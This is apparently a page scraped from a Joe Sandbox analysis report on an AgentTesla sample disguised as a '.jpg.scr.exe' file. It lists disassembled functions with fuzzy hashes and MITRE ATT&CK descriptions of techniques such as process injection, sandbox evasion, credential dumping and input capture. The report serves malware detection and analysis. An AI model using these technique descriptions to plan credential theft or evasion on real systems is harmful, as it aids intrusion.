Function 06EA6620 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49cc8dae45e996144f1a618fe16f03b22967767dc999c95b58a42b1180593a8b
Instruction ID: a0f225137873cdf0bea1e9b892640a47dd51552bcdf5223d635feaac4e07f671
Opcode Fuzzy Hash: 49cc8dae45e996144f1a618fe16f03b22967767dc999c95b58a42b1180593a8b
Instruction Fuzzy Hash: 59118170E103199FCB589B68D8805DEB7B6EBC9310F149569D109EB300DA31EA41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06EA7180 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 723d8519a0417d54d4776feabc726ce616ff7db1f4da92a4b5ce268bb9e50366
Instruction ID: 08eaaa438b4f3fbb67d706476f14bddb0af066f76891f0bbb907b91e490f22e5
Opcode Fuzzy Hash: 723d8519a0417d54d4776feabc726ce616ff7db1f4da92a4b5ce268bb9e50366
Instruction Fuzzy Hash: 80116536B142194BDF54DA78DC24ABF77EAEBC8614F014539D40AEB340DE25DC0687D1

Uniqueness

Uniqueness Score: -1.00%

Function 06EA73C8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc27760e77609a62667331a65f779d3224b67ed49d370ba51aa27f475a43ad31
Instruction ID: 76a538ac6fd9a0f20039f275af41def13ad01134a19774bdac0309b786f54533
Opcode Fuzzy Hash: bc27760e77609a62667331a65f779d3224b67ed49d370ba51aa27f475a43ad31
Instruction Fuzzy Hash: 1801AD35B102154BDF64D6ADD45472FA7DBDBC9619F208839E10ECB345DE61EC024381

Uniqueness

Uniqueness Score: -1.00%

Function 06EA73C7 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3e039191bd51b51ac2fc491c747253ceb356e3eb3b1260183c3af1430b61c5
Instruction ID: 418bd932486dad9367234e32ceced2b3286d17cf7a8213db4858decda230df38
Opcode Fuzzy Hash: 1a3e039191bd51b51ac2fc491c747253ceb356e3eb3b1260183c3af1430b61c5
Instruction Fuzzy Hash: 9601FF79B102114BDF64D6ADE45472FA7CBDBC9719F20883AE20ECB349DE61EC024381

Uniqueness

Uniqueness Score: -1.00%

Function 06EAD8AD Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c680ae71e08b30a0ebd5643655181a5b9cc54e09a9d6eeaa360af69e911b27
Instruction ID: 72ea47b8b3348e9a851212dd22d5cfb6186c773b497568ea874c9a65ce0e3612
Opcode Fuzzy Hash: a3c680ae71e08b30a0ebd5643655181a5b9cc54e09a9d6eeaa360af69e911b27
Instruction Fuzzy Hash: 47018130B102144FDB50DAACEC50B6A67D6EFC5718F109838E10EDBB54DE25EC428780

Uniqueness

Uniqueness Score: -1.00%

Function 06EAD8B0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 240796c0ab363d4981a033b521d0e0eeeeac80f46987c9abea01fe0a4224fcb8
Instruction ID: aa36a1a11552107798d64f7e4851a08337728bfaf05d1121ac7ceb48619d21f2
Opcode Fuzzy Hash: 240796c0ab363d4981a033b521d0e0eeeeac80f46987c9abea01fe0a4224fcb8
Instruction Fuzzy Hash: 55018130B103184BDB50DA6CEC50B5A77DAEF85718F509838E10EDB750EE65EC4287C1

Uniqueness

Uniqueness Score: -1.00%

Function 06EA717F Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c1c3550b4d666bf17a54cc9ce7ab4d7dc54e1c8f125f5fd0550d3d865e4c9e6
Instruction ID: aefe41e560caf6eed401da7ffe7da95d35012c39612b499f90d59ad031e9166d
Opcode Fuzzy Hash: 3c1c3550b4d666bf17a54cc9ce7ab4d7dc54e1c8f125f5fd0550d3d865e4c9e6
Instruction Fuzzy Hash: C2018176B102154BEF55DAB8DC247BF72EAABC8614F05403AD50AEB244EE24DC0A47D1

Uniqueness

Uniqueness Score: -1.00%

Function 06EAFD67 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80610e736faf5f6c3ab0a6a6155bcfb6d414bbbb1e57f346c924020411014d9c
Instruction ID: 42177f4d44c255a36a9fa0769429141e03f179e8e81e1056ab2a5e7ea1c2b2f5
Opcode Fuzzy Hash: 80610e736faf5f6c3ab0a6a6155bcfb6d414bbbb1e57f346c924020411014d9c
Instruction Fuzzy Hash: E1F0A475E203289BCB589A68E85179DB37AFB85314F104479E505EB348DB31A804CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06EAE4B0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ebfc35a9ca954b05176a1ed5f7918e417bd4a338acd6ad95fc79570a030f615
Instruction ID: da4ee955c7c4175ad85bb701414580218cd0635fd63b39fae815d566c28f1bd3
Opcode Fuzzy Hash: 3ebfc35a9ca954b05176a1ed5f7918e417bd4a338acd6ad95fc79570a030f615
Instruction Fuzzy Hash: 72F0E576E103288BDF7085ACD80579EBBACE745738F10483BE90AEB340D631EC458782

Uniqueness

Uniqueness Score: -1.00%

Function 06EA9A28 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d695f540de2c31d7bebb1cc982d4da054aea450ef0e8f8d50fd5502c6a0cf0a5
Instruction ID: c54dad7e99e6acbaf98b09be10a62a4f62290d10d2ef8053d17499d200b90a94
Opcode Fuzzy Hash: d695f540de2c31d7bebb1cc982d4da054aea450ef0e8f8d50fd5502c6a0cf0a5
Instruction Fuzzy Hash: ACE0C270E24308ABDF20CEB4C90575A73EED741208F2094A6D408CB202E672EA018780

Uniqueness

Uniqueness Score: -1.00%

Function 06EA9A27 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bda829a49e90f63abfd03e71466603fc68de0419d1f3c5651e854037aebc64cb
Instruction ID: 215967fe028ca31798f1212a4bf84115bf0d659fd86103309ebaacefadec3537
Opcode Fuzzy Hash: bda829a49e90f63abfd03e71466603fc68de0419d1f3c5651e854037aebc64cb
Instruction Fuzzy Hash: 04E01271E253089ADF60CAB4C74536A72E6EB45208F3099A6D409DB202E676EA418740

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06EAAC40 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06EAB1AE
$]q, xrefs: 06EAB0F9
$]q, xrefs: 06EAAD61
$]q, xrefs: 06EAB0ED
$]q, xrefs: 06EAB1A2
$]q, xrefs: 06EAAD3C
$]q, xrefs: 06EAAD30
$]q, xrefs: 06EAB198
$]q, xrefs: 06EAAD6D
$]q, xrefs: 06EAB18C

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: e8826c6d6f0f1d97ef2015ab3f617f7dd96d48afbae6c76ca2200fd2b1b52f2c
Instruction ID: b1a56b0741fe7a3eb35646bde1c5f00f978770780ea39e0a5c68c17b0022f87a
Opcode Fuzzy Hash: e8826c6d6f0f1d97ef2015ab3f617f7dd96d48afbae6c76ca2200fd2b1b52f2c
Instruction Fuzzy Hash: A9123D30E00319CFDB68DF69D994AADB7B2BF88304F209569D409AB354DB34AD85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06EADED0 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 06EAE08E
$]q, xrefs: 06EAE058
$]q, xrefs: 06EADFD2
$]q, xrefs: 06EAE02D
$]q, xrefs: 06EADFC6
$]q, xrefs: 06EAE04C
$]q, xrefs: 06EAE021
$]q, xrefs: 06EAE082

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 3ff2db0ef08dd2de5805e8e77c8e9d35e0ddb322863552d56873cd299d32af05
Instruction ID: 1f2c961ba1a55fe650bc4981a9c22f0256fea2005b2e35312663475085407316
Opcode Fuzzy Hash: 3ff2db0ef08dd2de5805e8e77c8e9d35e0ddb322863552d56873cd299d32af05
Instruction Fuzzy Hash: 73914130A00309DFDB58DF64E994BAE77F6EF84304F109429E805AB394DB79AD45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 06EAA640 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 06EAA922
$]q, xrefs: 06EAA97C
$]q, xrefs: 06EAAB48
$]q, xrefs: 06EAA988
.5uq, xrefs: 06EAA69B
$]q, xrefs: 06EAAADC
$]q, xrefs: 06EAAB54

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: bebaf5681f19ed7e7ee602caa19ec7488e2f6ab613cbdb73799c20dd617bf194
Instruction ID: 658953eb8b6bf3c4b32d3235a7ed45baa25e3ea891c9a3f1a8ce195fecbfee2f
Opcode Fuzzy Hash: bebaf5681f19ed7e7ee602caa19ec7488e2f6ab613cbdb73799c20dd617bf194
Instruction Fuzzy Hash: 98F12C70A003098FDB58EF68D594A6EB7B7FF84304F149579D4059B3A9CB39AC82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06EAEF90 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$]q, xrefs: 06EAF143
$]q, xrefs: 06EAF137
$]q, xrefs: 06EAF16B
$]q, xrefs: 06EAF10F
$]q, xrefs: 06EAF103
$]q, xrefs: 06EAF177

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: f328641b0b630a874963a293e11d740e8b1b0bfe29ab2231b74319d4bb3844c9
Instruction ID: 24e8f25c15be0a92751aaf98445186c5074e3c1fa844314adddc8f7a1c452a44
Opcode Fuzzy Hash: f328641b0b630a874963a293e11d740e8b1b0bfe29ab2231b74319d4bb3844c9
Instruction Fuzzy Hash: 98719C70A0030A8FDB98DFA8D9906ADB7B6FF84304B108969D505EF355EB71AD46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06EAB978 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 06EABBDE
$]q, xrefs: 06EABC43
$]q, xrefs: 06EABC37
$]q, xrefs: 06EABBD2

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 3e20e33dd427e7fc063eb8757bf2f16c4c4acdedd2caa9f53c75c1e9f628843c
Instruction ID: b7d6f3fe3b8b95d4aaf009d11450d834ddf1cf5fc06d9db28c4d5010c150f7c3
Opcode Fuzzy Hash: 3e20e33dd427e7fc063eb8757bf2f16c4c4acdedd2caa9f53c75c1e9f628843c
Instruction Fuzzy Hash: D7B13A30A003098FDB58DFA8D5946AEB7B6FF84304F249569D40AAF355DB35EC86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06EABD90 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR]q, xrefs: 06EABED2
LR]q, xrefs: 06EABE83
$]q, xrefs: 06EABE1B
$]q, xrefs: 06EABE0F

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: 4f90027bd6baabb79107f8193f914371154fba873c7b19211c77a87eea26a240
Instruction ID: 905c422f3966bf07ba738e45a036cb5c2e8a2f7a4549eb8a27773043957f1681
Opcode Fuzzy Hash: 4f90027bd6baabb79107f8193f914371154fba873c7b19211c77a87eea26a240
Instruction Fuzzy Hash: 60517D30B103099FDB58DF28D990A6AB7E6FF89304F149568E5069F3A5DB34EC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06EAE25F Relevance: 5.2, Strings: 4, Instructions: 154COMMON

Download Yara Rule

Strings

$]q, xrefs: 06EAE42C
$]q, xrefs: 06EAE3D4
$]q, xrefs: 06EAE403
$]q, xrefs: 06EAE381

Memory Dump Source

Source File: 00000004.00000002.3254117808.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ea0000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: ac1598aa1d5229f0deaa9d0ed8c12be53373fec93d99bf4f2789e2a5e0d0568d
Instruction ID: 51a5cd34ea4be46a7656654ed6800584ae9135e35cbf0293f15e96504ada557a
Opcode Fuzzy Hash: ac1598aa1d5229f0deaa9d0ed8c12be53373fec93d99bf4f2789e2a5e0d0568d
Instruction Fuzzy Hash: 78517C30B103058FDFA9DF68E590AAEB7B6EF84304F109929D845EB254DB34EC46DB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Rendeles_042024,jpg.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Rendeles_042024,jpg.scr.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
Rendeles_042024,jpg.scr.exe

Function 02FF1343 Relevance: 2.7, Strings: 2, Instructions: 244
COMMON

Function 02FF13D8 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Function 03021478 Relevance: 14.2, Strings: 11, Instructions: 437
COMMON

Function 03021469 Relevance: 10.4, Strings: 8, Instructions: 391
COMMON

Function 03022C60 Relevance: 10.2, Strings: 8, Instructions: 226
COMMON

Function 03022C47 Relevance: 10.2, Strings: 8, Instructions: 213
COMMON

Function 03165DC8 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Function 03165DD8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 03021757 Relevance: 2.7, Strings: 2, Instructions: 218
COMMON

Function 03021804 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Function 03021D68 Relevance: 2.6, Strings: 2, Instructions: 69
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
